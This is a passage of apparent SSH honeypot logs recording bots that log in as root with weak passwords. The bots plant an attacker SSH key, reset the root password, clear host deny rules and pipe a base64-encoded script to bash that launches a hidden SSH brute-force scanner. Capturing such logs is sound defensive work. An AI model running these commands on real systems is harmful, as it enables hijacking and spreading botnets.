\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T21:19:07.110795+00:00","kind":"output","latency_ms":475,"data":""},{"seq":48,"at":"2026-08-23T21:19:15.456695+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T21:19:15.457865+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Root123456!","method":"password","accepted":true,"tier":"other"}]} {"id":"35cfb8eb-0bf7-4f3c-8e82-7bc92dacb0f0","name":"steady-cheerful-ibis","protocol":"ssh","channel_kind":"exec","src_ip":"87.106.63.76","src_port":35932,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":273,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T19:03:55.913807+00:00","ended_at":"2026-08-23T19:03:55.985138+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3961,"events":[{"seq":1,"at":"2026-08-23T19:03:28.986930+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T19:03:29.262068+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T19:03:32.820071+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T19:03:32.821398+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T19:03:33.091099+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YJeXXRtXmcNg\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T19:03:33.362532+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T19:03:33.633530+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T19:03:33.635997+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T19:03:33.661100+00:00","kind":"output","latency_ms":570,"data":""},{"seq":10,"at":"2026-08-23T19:03:33.906392+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T19:03:34.563171+00:00","kind":"output","latency_ms":657,"data":"15888 3921 11967 102 0 0"},{"seq":12,"at":"2026-08-23T19:03:34.837132+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T19:03:35.645799+00:00","kind":"output","latency_ms":814,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /bin/ls"},{"seq":14,"at":"2026-08-23T19:03:35.919464+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T19:03:35.921396+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T19:03:36.191386+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T19:03:36.193069+00:00","kind":"output","latency_ms":null,"data":" 19:03:36 up 3 days, 15:53, 0 user, load average: 0.3, 0.21, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T19:03:36.489379+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T19:03:36.493077+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T19:03:36.785302+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T19:03:36.788087+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T19:03:37.061291+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T19:03:37.063259+00:00","kind":"output","latency_ms":null,"data":"top - 19:03:37 up 3 days, 15:53, 0 user, load average: 0.3, 0.21, 0.31\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T19:03:37.333365+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T19:03:37.337069+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T19:03:37.610721+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T19:03:37.613063+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T19:03:37.885107+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T19:03:37.887323+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T19:03:38.161099+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T19:03:40.046170+00:00","kind":"output","latency_ms":1885,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T19:03:40.321074+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T19:03:41.030143+00:00","kind":"output","latency_ms":710,"data":"24G"},{"seq":34,"at":"2026-08-23T19:03:41.907432+00:00","kind":"input","latency_ms":null,"data":"echo \"root jimmy123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T19:03:42.184515+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T19:03:42.962138+00:00","kind":"output","latency_ms":778,"data":""},{"seq":37,"at":"2026-08-23T19:03:43.115424+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T19:03:43.640319+00:00","kind":"output","latency_ms":525,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-23T19:03:43.914888+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T19:03:44.438516+00:00","kind":"output","latency_ms":525,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-23T19:03:44.714095+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T19:03:44.984079+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T19:03:45.544151+00:00","kind":"output","latency_ms":560,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-23T19:03:45.817925+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T19:03:47.404749+00:00","kind":"output","latency_ms":1588,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-23T19:03:47.684221+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T19:03:48.314587+00:00","kind":"output","latency_ms":630,"data":""},{"seq":48,"at":"2026-08-23T19:03:55.918118+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T19:03:55.921100+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"jimmy123","method":"password","accepted":true,"tier":"other"}]} {"id":"bdaf581a-cda9-473b-b316-93f54c67069b","name":"foggy-cunning-pipit","protocol":"ssh","channel_kind":"exec","src_ip":"41.63.62.103","src_port":38488,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":917,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T13:46:37.478805+00:00","ended_at":"2026-08-23T13:46:37.768414+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3538,"events":[{"seq":1,"at":"2026-08-23T13:45:50.236533+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T13:45:50.752198+00:00","kind":"output","latency_ms":515,"data":""},{"seq":3,"at":"2026-08-23T13:45:51.153156+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-23T13:45:58.682396+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-23T13:45:58.684126+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-23T13:45:59.598584+00:00","kind":"input","latency_ms":null,"data":"echo \"root:f58S3b4piUHA\"|chpasswd|bash"},{"seq":7,"at":"2026-08-23T13:46:00.026195+00:00","kind":"output","latency_ms":427,"data":""},{"seq":8,"at":"2026-08-23T13:46:00.514328+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-23T13:46:01.430090+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-23T13:46:01.430487+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-23T13:46:02.356629+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-23T13:46:03.293182+00:00","kind":"output","latency_ms":935,"data":"15888 9874 6014 194 0 3870"},{"seq":13,"at":"2026-08-23T13:46:04.213321+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-23T13:46:04.747125+00:00","kind":"output","latency_ms":534,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":15,"at":"2026-08-23T13:46:05.664654+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T13:46:05.666089+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":17,"at":"2026-08-23T13:46:06.583149+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-23T13:46:06.584050+00:00","kind":"output","latency_ms":null,"data":" 13:46:06 up 3 days, 10:36, 0 user, load average: 0.22, 0.27, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-23T13:46:07.501419+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-23T13:46:07.501883+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-23T13:46:08.418518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-23T13:46:08.419115+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-23T13:46:09.337183+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-23T13:46:09.338094+00:00","kind":"output","latency_ms":null,"data":"top - 13:46:09 up 3 days, 10:36, 0 user, load average: 0.22, 0.27, 0.16\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-23T13:46:10.248775+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-23T13:46:10.250630+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-23T13:46:11.166120+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-23T13:46:11.168092+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-23T13:46:12.082691+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-23T13:46:12.084280+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-23T13:46:13.001613+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-23T13:46:13.517118+00:00","kind":"output","latency_ms":515,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":33,"at":"2026-08-23T13:46:14.434482+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-23T13:46:14.921611+00:00","kind":"output","latency_ms":487,"data":"24G"},{"seq":35,"at":"2026-08-23T13:46:17.561781+00:00","kind":"input","latency_ms":null,"data":"echo \"root Abc123456789*\" > /tmp/up.txt"},{"seq":36,"at":"2026-08-23T13:46:18.480484+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":37,"at":"2026-08-23T13:46:18.865146+00:00","kind":"output","latency_ms":383,"data":""},{"seq":38,"at":"2026-08-23T13:46:21.809442+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T13:46:22.281149+00:00","kind":"output","latency_ms":470,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T13:46:23.207519+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T13:46:23.825193+00:00","kind":"output","latency_ms":616,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":42,"at":"2026-08-23T13:46:24.753780+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T13:46:25.676252+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T13:46:26.160119+00:00","kind":"output","latency_ms":482,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T13:46:27.078679+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":46,"at":"2026-08-23T13:46:27.590156+00:00","kind":"output","latency_ms":510,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":47,"at":"2026-08-23T13:46:28.508842+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":48,"at":"2026-08-23T13:46:37.482203+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T13:46:37.483707+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Abc123456789*","method":"password","accepted":true,"tier":"other"}]} {"id":"a8a8dac7-e250-4c2b-8d5a-3dd11cce1446","name":"salty-whispering-gecko","protocol":"ssh","channel_kind":"exec","src_ip":"192.169.201.223","src_port":33562,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":224,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T08:15:44.521354+00:00","ended_at":"2026-08-23T08:15:44.584189+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4126,"events":[{"seq":1,"at":"2026-08-23T08:14:13.020190+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T08:14:13.242114+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T08:14:15.830869+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T08:14:15.831938+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T08:14:16.055248+00:00","kind":"input","latency_ms":null,"data":"echo \"root:u1UXnBrj45GV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T08:14:16.280758+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T08:14:16.502391+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T08:14:16.503149+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T08:14:16.726804+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T08:14:17.215754+00:00","kind":"output","latency_ms":488,"data":"15888 0 15888 0 0 0"},{"seq":11,"at":"2026-08-23T08:14:17.440254+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T08:14:17.994071+00:00","kind":"output","latency_ms":553,"data":"-rwxr-xr-x 1 root root 148K Jan 15 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T08:14:18.217854+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T08:14:18.218527+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T08:14:18.441183+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T08:14:18.441691+00:00","kind":"output","latency_ms":null,"data":" 08:14:18 up 3 days, 5:04, 0 user, load average: 0.3, 0.22, 0.35\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T08:14:18.665082+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T08:14:18.665509+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T08:14:18.889945+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T08:14:18.890408+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T08:14:19.113770+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T08:14:19.114422+00:00","kind":"output","latency_ms":null,"data":"top - 08:14:19 up 3 days, 5:04, 0 user, load average: 0.3, 0.22, 0.35\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T08:14:19.337831+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T08:14:19.338576+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T08:14:19.562576+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T08:14:19.563142+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T08:14:19.786805+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T08:14:19.787323+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-23T08:14:20.011093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T08:14:21.034007+00:00","kind":"output","latency_ms":1021,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core 